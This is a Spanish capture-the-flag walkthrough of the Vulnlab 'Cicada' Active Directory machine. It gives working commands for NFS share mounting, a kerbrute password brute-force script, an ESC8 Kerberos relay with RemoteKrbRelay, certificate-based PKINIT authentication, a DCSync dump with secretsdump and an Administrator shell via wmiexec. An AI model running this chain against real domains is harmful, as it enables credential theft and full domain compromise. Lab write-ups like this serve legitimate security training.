# Cicada - Writeup (Vulnlab)

## NMAP: Escaneo de Puertos y Servicios

Realizo un escaneo de puertos y enumeración de servicios, y como resultado, encuentro un servidor típico de Active Directory en Windows:

```python
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
111/tcp   open  rpcbind
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
2049/tcp   open  nfs
3268/tcp   open  globalcatLDAP
3269/tcp   open  globalcatLDAPssl
3389/tcp   open  ms-wbt-server
5985/tcp   open  wsman

Domain: cicada.vl
DomainController: DC-JPQ225.cicada.vl
```

El dominio es `cicada.vl` y el domain controller es `DC-JPQ225.cicada.vl`. Los servicios más relevantes ya están expuestos, como Kerberos, LDAP, y el que más me interesa en este punto: **NFS** (Network File System).

## Explorando el Sistema con NFS | Network File System

Veo que el puerto **2049/tcp** está open, lo que indica que el servicio **NFS** está activo. Chequeo con `showmount` para identificar recursos compartidos disponibles:

```python
showmount -e 10.10.97.176
```

Identificamos un recurso llamado `/profiles` el cual voy a montar dentro de una carpeta local que creo llamada **/nfs\_profiles**:

```python
mkdir nfs_profiles
sudo mount -t nfs -o rw 10.10.97.176:/profiles nfs_profiles
```

Chequeando el panorama con el comando `tree`:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753998827198/0bed6aaf-0452-4fb2-b71d-0d4c37df6727.png align="center")

Solo dos carpetas accesibles con contenido. Una pertenece al **Administrator** en el cual se puede ver una imagen que no nos aporta mucho. Sin embargo en la carpeta de **Rosie.Powell** podemos encontrar una imagen llamada *marketing.png* en la cual vamos a encontrar una contraseña:

```python
sudo cp marketing.png /tmp/marketing.png
sudo eog /tmp/marketing.png
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753998837054/0364365a-ceee-4cc4-90e8-17771db67ac3.png align="center")

## Opción Alternativa: Fuerza Bruta con Kerbrute

Otro posible modo de obtener la contraseña de **Rosie.Powell** es bruteforceando, genero un wordlist customizado para intentar obtener la password con kerbrute ante los usuarios obtenidos en la carpeta del NFS:

```python
#!/bin/bash

users="users.txt"
passwd="customPassword.txt"
DC="DC-JPQ225.cicada.vl"
domain="cicada.vl"

if [[ ! -f "$users" ]]; then
  echo "El archivo $users no existe."
  exit 1
fi

if [[ ! -f "$passwd" ]]; then
  echo "El archivo $passwd no existe."
  exit 1
fi


while read -r usuario; do
  echo "Checking user: $usuario@$domain"
  kerbrute bruteuser --dc "$DC" -d "$domain" "$passwd" "$usuario@$domain" -v

  if [[ $? -ne 0 ]]; then
    echo "Error:  $usuario@$domain"
  fi
  
  echo "Finished: $usuario@$domain"
  echo "-------------------------------------"

done < "$users"
echo "Finished"
```

Finalmente una de las contraseñas es valida para Rosie:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753998853737/10d0d8c3-c5c9-471b-ab18-bfedc43f44d2.png align="center")

  
Esta claro que con la imagen es mas que suficiente y no nos tenemos que complicar de mas, pero siempre me gusta buscar caminos alternativos.  

## NetExec: Uso de las Credenciales de Rosie.Powell

Con las credenciales de **Rosie.Powell**, intento conectarme al dominio utilizando **NetExec** para ver si puedo obtener algo:

```python
nxc smb cicada.vl -u 'rosie.powell' -p <REDACTED>
```

Pero automáticamente la respuesta es `STATUS_NOT_SUPPORTED`:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753998882230/b9997d30-899f-4d5a-9e26-b1354acbbe34.png align="center")

Esto se debe a que el dominio no acepta autenticacion mediante **NTLM**.  
Pruebo con el flag `-k`, que indica que debe usar autenticación Kerberos:

```python
nxc smb cicada.vl -u 'rosie.powell' -p <REDACTED> -k
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753998902858/bb14681c-95c8-4cd2-b00f-e2011335f932.png align="center")

  

Obtenemos un error de resolución de dominio. Pero lo resolvemos rapidamente apuntando al Domain Controller:

```python
nxc smb DC-JPQ225.cicada.vl -u 'rosie.powell' -p <REDACTED> -k
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753998911015/722a49cb-076c-4fce-be37-9a76dd532679.png align="center")

  

Perdi bastante tiempo enumerando con bloodhound y demas tools asi que no voy a explicar esto aca, porque se haria muy extenso y no viene al caso, sin embargo sepan que tenemos la libertad de realizar consultas con herramientas como **ldapsearch**, **Bofhound**, **Bloodhound**, entre otras.

  

## Puerto 80: Default IIS

Al revisar el servidor web en el puerto **80**, me encuentro con la clásica página predeterminada de IIS, lo que a simple vista no parece ofrecer nada útil. Sin embargo, investigando un poco más, encuentro la ruta `/certsrv/`, y ahí es donde las cosas se ponen interesantes: ya que este path corresponde al **ADCS Web Enrollment**, un componente de Active Directory que permite a los usuarios solicitar certificados digitales.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753998924235/497261bd-101b-47dd-a0bb-8c02d9d08442.png align="center")

## Buscando certificados vulnerables con Certipy

Dado el hallazgo en **/certsrv/**, decido usar **Certipy** para automatizar la búsqueda de certificados vulnerables utilizando las credenciales de rosie.powell:

```python
certipy find -u 'rosie.powell' -p '<REDACTED>' -dc-ip DC-JPQ225.cicada.vl -k -debug -ns 10.10.97.176
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753998937383/e3e096ea-d7b0-41dc-bb54-992d7bbb719b.png align="center")

  

Chequeando el output de certipy detectó un supuesto **ESC8**:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753998951933/f9d4d67a-eca3-4901-b294-6db72e1b46c4.png align="center")

La vulnerabilidad **ESC8** surge cuando el servicio de **Web Enrollment** de Active Directory Certificate Services (ADCS) está habilitado y permite la emisión de certificados de forma insegura. Esto le da a un atacante la oportunidad de realizar un **relay** de la autenticación de una máquina privilegiada (por ejemplo, un controlador de dominio) hacia la Autoridad de Certificación (CA). A través de este relay, es posible obtener un certificado emitido a nombre del controlador de dominio, lo que permitiría suplantar su identidad y autenticar servicios de red con privilegios elevados.

  

> **Nota:**  
> En teoría, hacer un relay de vuelta hacia la misma máquina (self-relay) no debería ser posible debido a las mitigaciones implementadas hace un tiempo. Estas protecciones están diseñadas para bloquear la retransmisión de credenciales autenticadas hacia el mismo servidor o máquina de origen, algo que antes era explotado para ganar acceso no autorizado. Sin embargo, como veremos más adelante, es posible **bypassear** estas mitigaciones.

  

Por un panorama general sobre **ESC8** y similares, te recomiendo revisar este artículo: [https://www.crowe.com/cybersecurity-watch/exploiting-ad-cs-a-quick-look-at-esc1-esc8](https://www.crowe.com/cybersecurity-watch/exploiting-ad-cs-a-quick-look-at-esc1-esc8)

  

Teniendo en cuenta esto, y siguiendo la HINT oficial de Vulnlab:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753998963414/71e7d7de-fbe8-4a86-91d5-43a362501f61.png align="center")

Llego a algunos researchs recientes que demuestran que es posible bypassear estas protecciones y realizar un **relay**, específicamente en nuestro contexto de **Kerberos** y no **NTLM**.

  

**References**:

* [https://www.tiraniddo.dev/2024/04/relaying-kerberos-authentication-from.html](https://www.tiraniddo.dev/2024/04/relaying-kerberos-authentication-from.html)
    
* [https://i.blackhat.com/Asia-24/Presentations/Asia-24-Ding-CertifiedDCOM-The-Privilege-Escalation-Journey-to-Domain-Admin.pdf](https://i.blackhat.com/Asia-24/Presentations/Asia-24-Ding-CertifiedDCOM-The-Privilege-Escalation-Journey-to-Domain-Admin.pdf)
    

  

## CICADA8 | RemoteKrbRelay

Aca es donde entra en juego la siguiente tool: **RemoteKrbRelay**. [https://github.com/CICADA8-Research/RemoteKrbRelay](https://github.com/CICADA8-Research/RemoteKrbRelay)

Esta tool es una maravilla, simplifica los ataques de relay de Kerberos de forma remota y automatizo todo!. Esta herramienta permite interceptar y reenviar tickets de Kerberos, explotando vulnerabilidades en el proceso de autenticación.

Debido a que de momento es funcional solo desde Windows, voy a setear una maquina en VirtualBox de un **Windows 11**.

  

## Machine Account Quota (MAQ)

Antes de proceder con el ataque, es fundamental verificar la **Machine Account Quota** (MAQ). Con las credenciales de **Rosie.Powell**, chequear este valor es sencillo. El **MAQ** define cuántas cuentas de máquina un usuario regular puede crear en el dominio, lo que nos permitirá unir la máquina al dominio:

```python
nxc ldap cicada.vl -u  "rosie.powell" -p "<REDACTED>" -M maq -k
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753998983366/4a07711c-ba7a-4b4f-949a-9bcaa6d8e587.png align="center")

El resultado nos dice que el **Machine Account Quota** es de 10. Esto significa que cualquier usuario autenticado en el dominio, (nuestro caso **Rosie.Powell**), puede crear hasta 10 cuentas de computadora en el dominio. Esta es una oportunidad clave para unir la VM que levantamos atacante al dominio **cicada.vl** y continuar con el ataque utilizando **RemoteKrbRelay.exe**.

  

## Uniendo la Windows VM al Domain: cicada.vl

Para llevar a cabo el ataque, primero es necesario unir la **VM de Windows 11** al dominio **cicada.vl**. En mi caso, este es el setup que configuré:

* **Modo Bridge** en la máquina virtual, lo que permite que la VM tenga su propia dirección IP en la misma red que la máquina host.
    
* Conexión a la plataforma de **Vulnlab** a través de **OpenVPN**, directamente desde la VM de Windows.
    
* Un aspecto importante en este contexto es la configuración del **DNS** en el adaptador de **OpenVPN**. Es necesario que el DNS apunte a la IP del **Domain Controller** (DC) para asegurar que la máquina pueda resolver correctamente los nombres de dominio dentro de la red de **cicada.vl**.
    
* IPV6 debe estar Habilitado a pesar de que no es utilizado.
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753998993808/e6d018c3-173a-4abe-beb5-70ddd9cd5249.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753998997042/035a62a7-a8e6-4e78-b2f7-c2706682ecaa.png align="center")

  

Una ultima aclaración, en mi caso, enfrenté un problema relacionado con la prioridad de los adaptadores de red en Windows. (Quizas haya alguna solución diferente o mas fácil, en mi caso esta fue funcional). A pesar de configurar correctamente el DNS, el sistema resolvía primero a través del adaptador **Ethernet**, y no el de **OpenVPN**, lo que me generaba dolores de cabeza.

Para solucionarlo, tuve que ajustar las métricas de los adaptadores de red. Asigné un valor más bajo al adaptador de **OpenVPN** y un valor más alto al de **Ethernet**. Cuanto más bajo es el valor, mayor prioridad se le da al adaptador, lo que permitió que **OpenVPN** resolviera los dominios correctamente y evitara los problemas de conectividad.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753999008685/a515691b-7c43-4e59-83c8-d2eb264935e9.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753999012011/b7fc1a36-cd8f-4a76-9c37-f47dacdab9bb.png align="center")

## RemoteKrbRelay

Con la VM unida al dominio **cicada.vl** y todo el setup configurado correctamente, procedo a lanzar el ataque utilizando **RemoteKrbRelay**. El objetivo es explotar la vulnerabilidad detectada en el servicio de **ADCS Web Enrollment** y realizar un **Kerberos relay** para obtener un certificado emitido a nombre del controlador de dominio.

```python
RemoteKrbRelay.exe -adcs -template DomainController -victim dc-jpq225.cicada.vl -target dc-jpq225.cicada.vl -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753999031469/ad782e13-b340-4266-b99f-585ddc35610d.png align="center")

  

Finalmente obtenemos el certificado PKCS12:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753999040171/20e2dabb-442d-4fb2-a3c5-e68c6fa35863.png align="center")

## Guardando el Certificado PKCS12 y Autenticación con PKINIT

```python
echo "MIACAQMwgAYJK............" |base64 -d >dc.p12
```

A continuación, uso **Certipy** para autenticarme vía **PKINIT** con el certificado:

```python
certipy auth -pfx dc.p12 -dc-ip 10.10.97.176 -domain cicada.vl
export KRB5CCNAME=dc-jpq225.ccache
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753999053936/afaba1d3-ee70-4b91-82d7-7dee404a970c.png align="center")

Con el **ticket** obtenido y los privilegios elevados, puedo ejecutar el ataque de **DCSync** usando **secretsdump.py** de **Impacket** y dumpearemos todo:

```python
secretsdump.py -k -no-pass cicada.vl/dc-jpq225\$@cicada.vl@dc-jpq225.cicada.vl -just-dc
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753999091904/7449d637-b18f-41e5-a08f-1926c2bf87a8.png align="center")

# ROOT

```python
getTGT.py cicada.vl/Administrator -aesKey <REDACTED> -dc-ip 10.10.97.176
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass Administrator@dc-jpq225.cicada.vl
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753999106354/a44c5f38-a4bb-431c-8a0c-c467b830b58c.png align="center")

Special thanks to xct and Vulnlab.  
Saludos.